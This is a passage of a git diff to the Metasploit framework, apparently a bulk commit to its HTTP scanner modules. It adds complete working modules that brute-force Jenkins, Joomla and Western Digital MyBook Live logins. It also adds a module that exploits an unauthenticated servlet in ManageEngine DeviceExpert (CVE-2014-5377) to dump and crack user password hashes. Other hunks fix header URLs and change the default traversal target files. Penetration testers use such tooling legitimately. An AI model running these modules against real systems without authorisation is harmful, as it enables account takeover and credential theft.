fprint['os.version'] = v when "sun.os.patch.level" vprint_line(" Patch Level: #{v}") when "os.arch" vprint_line(" Arch: #{v}") - report_note({ - :type => "system_arch", - :host => rhost, - :data => "Arch: #{v}", - :update => :unique_data - }) + fprint['os.arch'] = v when "user.name" vprint_line(" User: #{v}") - report_note({ - :type => "jenkins_user", - :host => rhost, - :port => rport, - :proto => 'tcp', - :data => "User: #{v}", - :update => :unique_data - }) when "USERDOMAIN" vprint_line(" Domain: #{v}") - report_note({ - :type => "system_domain", - :host => rhost, - :data => "Domain: #{v}", - :update => :unique_data - }) + fprint['host.domain'] = v when "COMPUTERNAME" vprint_line(" Computer Name: #{v}") - report_note({ - :type => "system_computer", - :host => rhost, - :data => "Computer Name: #{v}", - :update => :unique_data - }) + fprint['host.name'] = v when "SystemDrive" vprint_line(" System Drive: #{v}") when "SHELL" @@ -222,30 +207,20 @@ class Metasploit3 < Msf::Auxiliary vprint_line(" Home Directory: #{v}") when "user.language" vprint_line(" Language: #{v}") - report_note({ - :type => "system_lang", - :host => rhost, - :data => "Language: #{v}", - :update => :unique_data - }) + fprint['os.language'] = v when "user.country" vprint_line(" Country: #{v}") - report_note({ - :type => "system_country", - :host => rhost, - :data => "Country: #{v}", - :update => :unique_data - }) when "user.timezone" vprint_line(" Timezone: #{v}") - report_note({ - :type => "system_timezone", - :host => rhost, - :data => "Timezone: #{v}", - :update => :unique_data - }) end end + + # Report a fingerprint.match for OS fingerprinting support, tied to this service + report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'fingerprint.match', :data => fprint) + + # Report a jenkins information note for future analysis, tied to this service + report_note(:host => rhost, :port => rport, :proto => 'tcp', :ntype => 'jenkins.info', :data => jinfo) + vprint_line('') end end diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb new file mode 100644 index 0000000000..1312c2d1b7 --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/jenkins' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Jenkins-CI Login Utility', + 'Description' => 'This module attempts to login to a Jenkins-CI instance using a specific user/pass.', + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(8080) + ], self.class) + + register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) + + deregister_options('RHOST') + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::Jenkins.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb new file mode 100644 index 0000000000..78dd94c00d --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -0,0 +1,279 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Joomla Bruteforce Login Utility', + 'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks', + 'Author' => 'luisco100[at]gmail.com', + 'References' => + [ + ['CVE', '1999-0502'] # Weak password Joomla + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]), + OptPath.new('USER_FILE', [false, 'File containing users, one per line', + File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]), + OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]), + OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']), + OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']), + OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']), + OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']), + OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username']) + ], self.class) + + register_autofilter_ports([80, 443]) + end + + def find_auth_uri + if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0 + paths = [datastore['AUTH_URI']] + else + paths = %w( + / + /administrator/ + ) + end + + paths.each do |path| + begin + res = send_request_cgi( + 'uri' => path, + 'method' => 'GET' + ) + rescue ::Rex::ConnectionError + next + end + + next unless res + + if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ + path = res.headers['Location'] + vprint_status("#{rhost}:#{rport} - Following redirect: #{path}") + begin + res = send_request_cgi( + 'uri' => path, + 'method' => 'GET' + ) + rescue ::Rex::ConnectionError + next + end + next unless res + end + + return path + end + + nil + end + + def target_url + proto = 'http' + if rport == 443 || ssl + proto = 'https' + end + "#{proto}://#{rhost}:#{rport}#{@uri}" + end + + def run_host(ip) + vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...") + @uri = find_auth_uri + + unless @uri + vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication") + return + end + + @uri = "/#{@uri}" if @uri[0, 1] != '/' + + vprint_status("#{target_url} - Attempting to login...") + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def do_login(user, pass) + vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + response = do_web_login(user, pass) + result = determine_result(response) + + if result == :success + print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? 'https' : 'http'), + :user => user, + :pass => pass, + :proof => target_url, + :type => 'passsword', + :source_type => 'cred', + :duplicate_ok => true, + :active => true + ) + return :abort if datastore['STOP_ON_SUCCESS'] + return :next_user + else + vprint_error("#{target_url} - Failed to login as '#{user}'") + return + end + end + + def do_web_login(user, pass) + user_var = datastore['USER_VARIABLE'] + pass_var = datastore['PASS_VARIABLE'] + + referer_var = "http://#{rhost}/administrator/index.php" + + vprint_status("#{target_url} - Searching Joomla Login Response...") + res = login_response + + unless res && res.code = 200 && !res.get_cookies.blank? + vprint_error("#{target_url} - Failed to find Joomla Login Response") + return nil + end + + vprint_status("#{target_url} - Searching Joomla Login Form...") + hidden_value = get_login_hidden(res) + if hidden_value.nil? + vprint_error("#{target_url} - Failed to find Joomla Login Form") + return nil + end + + vprint_status("#{target_url} - Searching Joomla Login Cookies...") + cookie = get_login_cookie(res) + if cookie.blank? + vprint_error("#{target_url} - Failed to find Joomla Login Cookies") + return nil + end + + vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )") + res = send_request_login( + 'user_var' => user_var, + 'pass_var' => pass_var, + 'cookie' => cookie, + 'referer_var' => referer_var, + 'user' => user, + 'pass' => pass, + 'hidden_value' => hidden_value + ) + + if res + vprint_status("#{target_url} - Login Response #{res.code}") + if res.redirect? && res.headers['Location'] + path = res.headers['Location'] + vprint_status("#{target_url} - Following redirect to #{path}...") + + res = send_request_raw( + 'uri' => path, + 'method' => 'GET', + 'cookie' => "#{cookie}" + ) + end + end + + return res + rescue ::Rex::ConnectionError + vprint_error("#{target_url} - Failed to connect to the web server") + return nil + end + + def send_request_login(opts = {}) + res = send_request_cgi( + 'uri' => @uri, + 'method' => 'POST', + 'cookie' => "#{opts['cookie']}", + 'headers' => + { + 'Referer' => opts['referer_var'] + }, + 'vars_post' => { + opts['user_var'] => opts['user'], + opts['pass_var'] => opts['pass'], + 'lang' => '', + 'option' => 'com_login', + 'task' => 'login', + 'return' => 'aW5kZXgucGhw', + opts['hidden_value'] => 1 + } + ) + + res + end + + def determine_result(response) + return :abort unless response.kind_of?(Rex::Proto::Http::Response) + return :abort unless response.code + + if [200, 301, 302].include?(response.code) + if response.to_s.include?(datastore['WORD_ERROR']) + return :fail + else + return :success + end + end + + :fail + end + + def login_response + uri = normalize_uri(datastore['FORM_URI']) + res = send_request_cgi!('uri' => uri, 'method' => 'GET') + + res + end + + def get_login_cookie(res) + return nil unless res.kind_of?(Rex::Proto::Http::Response) + + res.get_cookies + end + + def get_login_hidden(res) + return nil unless res.kind_of?(Rex::Proto::Http::Response) + + return nil if res.body.blank? + + vprint_status("#{target_url} - Testing Joomla 2.5 Form...") + form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi) + + if form.length == 1 # is not Joomla 2.5 + vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...") + form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi) + end + + if form.length == 1 # is not Joomla 3 + vprint_error("#{target_url} - Last chance to find a login form...") + form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi) + end + + begin + input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi) + input_id = input_hidden[7].split("\"") + rescue NoMethodError + return nil + end + + valor_input_id = input_id[1] + + valor_input_id + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb index 344fd6444b..da0562c0b6 100644 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb index 18d2aa5848..a199aef541 100644 --- a/modules/auxiliary/scanner/http/joomla_plugins.rb +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 14a281b41d..459a2150bf 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb index 7baf29c27e..6aab0a2295 100644 --- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb +++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index be7b8fac4f..bae0916994 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb index 5d253dcfc9..8e65e4407c 100644 --- a/modules/auxiliary/scanner/http/lucky_punch.rb +++ b/modules/auxiliary/scanner/http/lucky_punch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index 0dd4195aec..5e347e23c8 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb index efd73beac0..0d0d4bfd46 100644 --- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(6060), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini']) + OptString.new('FILEPATH', [true, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') @@ -76,4 +76,4 @@ class Metasploit3 < Msf::Auxiliary end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb new file mode 100644 index 0000000000..3e84b1ba0f --- /dev/null +++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'ManageEngine DeviceExpert User Credentials', + 'Description' => %q{ + This module extracts usernames and salted MD5 password hashes + from ManageEngine DeviceExpert version 5.9 build 5980 and prior. + + This module has been tested successfully on DeviceExpert + version 5.9.7 build 5970. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit + 'Brendan Coles <bcoles[at]gmail.com>' # msf + ], + 'References' => + [ + ['EDB', '34449'], + ['OSVBD', '110522'], + ['CVE', '2014-5377'] + ], + 'DisclosureDate' => 'Aug 28 2014')) + register_options( + [ + Opt::RPORT(6060), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + deregister_options('RHOST') + end + + def check + get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + end + + def get_users + users = nil + vprint_status("#{peer} - Reading users from master...") + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.code == 404 + vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'") + elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/ + users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/) + vprint_good("#{peer} - Found #{users.length} users") + else + vprint_error("#{peer} - Could not find any users") + end + users + end + + def parse_user_data(user) + return if user.nil? + username = user.scan(/<username>([^<]+)</).flatten.first + encoded_hash = user.scan(/<password>([^<]+)</).flatten.first + role = user.scan(/<userrole>([^<]+)</).flatten.first + mail = user.scan(/<emailid>([^<]+)</).flatten.first + salt = user.scan(/<saltvalue>([^<]+)</).flatten.first + hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first + pass = nil + ['12345', 'admin', 'password', username].each do |weak_password| + if hash == Rex::Text.md5(weak_password + salt) + pass = weak_password + break + end + end + [username, pass, hash, role, mail, salt] + end + + def run_host(ip) + users = get_users + return if users.nil? + + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'ManageEngine DeviceExpert User Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Username', + 'Password', + 'Password Hash', + 'Role', + 'E-mail', + 'Password Salt' + ] + ) + + vprint_status("#{peer} - Parsing user data...") + users.each do |user| + record = parse_user_data(user.to_s) + next if record.join.empty? + + user = record[0] + pass = record[1] + hash = record[2] + role = record[3] + mail = record[4] + salt = record[5] + + cred_table << [user, pass, hash, role, mail, salt] + + if pass + print_status("#{peer} - Found weak credentials (#{user}:#{pass})") + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: pass, + username: user + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :nonreplayable_hash, + private_data: "#{salt}:#{hash}", + username: user + } + end + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: role, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + + end + + print_line + print_line("#{cred_table}") + loot_name = 'manageengine.deviceexpert.user.creds' + loot_type = 'text/csv' + loot_filename = 'manageengine_deviceexpert_user_creds.csv' + loot_desc = 'ManageEngine DeviceExpert User Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status "Credentials saved in: #{p}" + end +end diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb index 96a0b350a3..d098907acd 100644 --- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb +++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb index 62fe258b46..746b3ffb9f 100644 --- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb +++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...") + vprint_status("#{peer} MediaWiki - Getting unauthenticated session...") @wiki_session_name, @wiki_session = get_first_session if @wiki_session.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...") + print_error("#{peer} MediaWiki - Failed to get unauthenticated session...") return end - vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}") + vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}") if @user and not @user.empty? and @password and not @password.empty? - vprint_status("#{peer(rhost)} MediaWiki - Getting login token...") + vprint_status("#{peer} MediaWiki - Getting login token...") @login_token = get_login_token if @login_token.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get login token") + print_error("#{peer} MediaWiki - Failed to get login token") return end - vprint_status("#{peer(rhost)} Logintoken: #{@login_token}") + vprint_status("#{peer} Logintoken: #{@login_token}") if not authenticate - print_error("#{peer(rhost)} MediaWiki - Failed to authenticate") + print_error("#{peer} MediaWiki - Failed to authenticate") return end - vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}") - vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}") - vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}") + vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}") + vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}") + vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}") end - vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...") + vprint_status("#{peer} MediaWiki - Getting edit token...") @edit_token = get_edit_token if @edit_token.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to get edit token") + print_error("#{peer} MediaWiki - Failed to get edit token") return end - vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}") + vprint_status("#{peer} Edittoken: #{@edit_token}") - vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...") + vprint_status("#{peer} MediaWiki - Uploading SVG file...") @svg_uri = upload_file if @svg_uri.nil? - print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file") + print_error("#{peer} MediaWiki - Failed to upload SVG file") return end - vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}") + vprint_status("#{peer} SVG URI: #{@svg_uri}") - vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...") + vprint_status("#{peer} MediaWiki - Retrieving remote file...") loot = read_data if loot.nil? or loot.empty? - print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file") + print_error("#{peer} MediaWiki - Failed to retrieve remote file") return end f = ::File.basename(datastore['RFILE']) path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE']) - print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}") + print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}") end def run diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 2bd5c493e5..22fd394fe6 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb index c31ec051b3..8fc76e5fe0 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb index d919365b30..8f60998e85 100644 --- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb new file mode 100644 index 0000000000..458f51dffb --- /dev/null +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mybook_live' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'Western Digital MyBook Live Login Utility', + 'Description' => 'This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass.', + 'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + register_autofilter_ports([ 80 ]) + + # username is hardcoded into application + deregister_options('RHOST', 'USERNAME', 'USER_FILE', 'USER_AS_PASS', 'DB_ALL_USERS') + end + + def setup + super + # They must select at least blank passwords, provide a pass file or a password + one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD) + unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] } + fail_with(Failure::BadConfig, "Invalid options: One of #{one_required.join(', ')} must be set") + end + if !datastore['PASS_FILE'] + if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank? + fail_with(Failure::BadConfig, "PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS") + end + end + end + + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + username: 'admin' + ) + + scanner = Metasploit::Framework::LoginScanner::MyBookLive.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) + + if ssl + scanner.ssl = datastore['SSL'] + scanner.ssl_version = datastore['SSLVERSION'] + end + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb index 77abd0e20c..0d6064563a 100644 --- a/modules/auxiliary/scanner/http/netdecision_traversal.rb +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 586c20be82..57e6fc9be2 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index fa4d296f94..a7a84b81b3 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary save_source.puts(res.body.to_s) save_source.close - print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) + print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response") diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb index 02791f3501..bc2663f8f3 100644 --- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb +++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Auxiliary [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RFILE', [true, 'Remote File', 'boot.ini']), + OptString.new('RFILE', [true, 'Remote File', 'windows\\win.ini']), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ], self.class) diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb 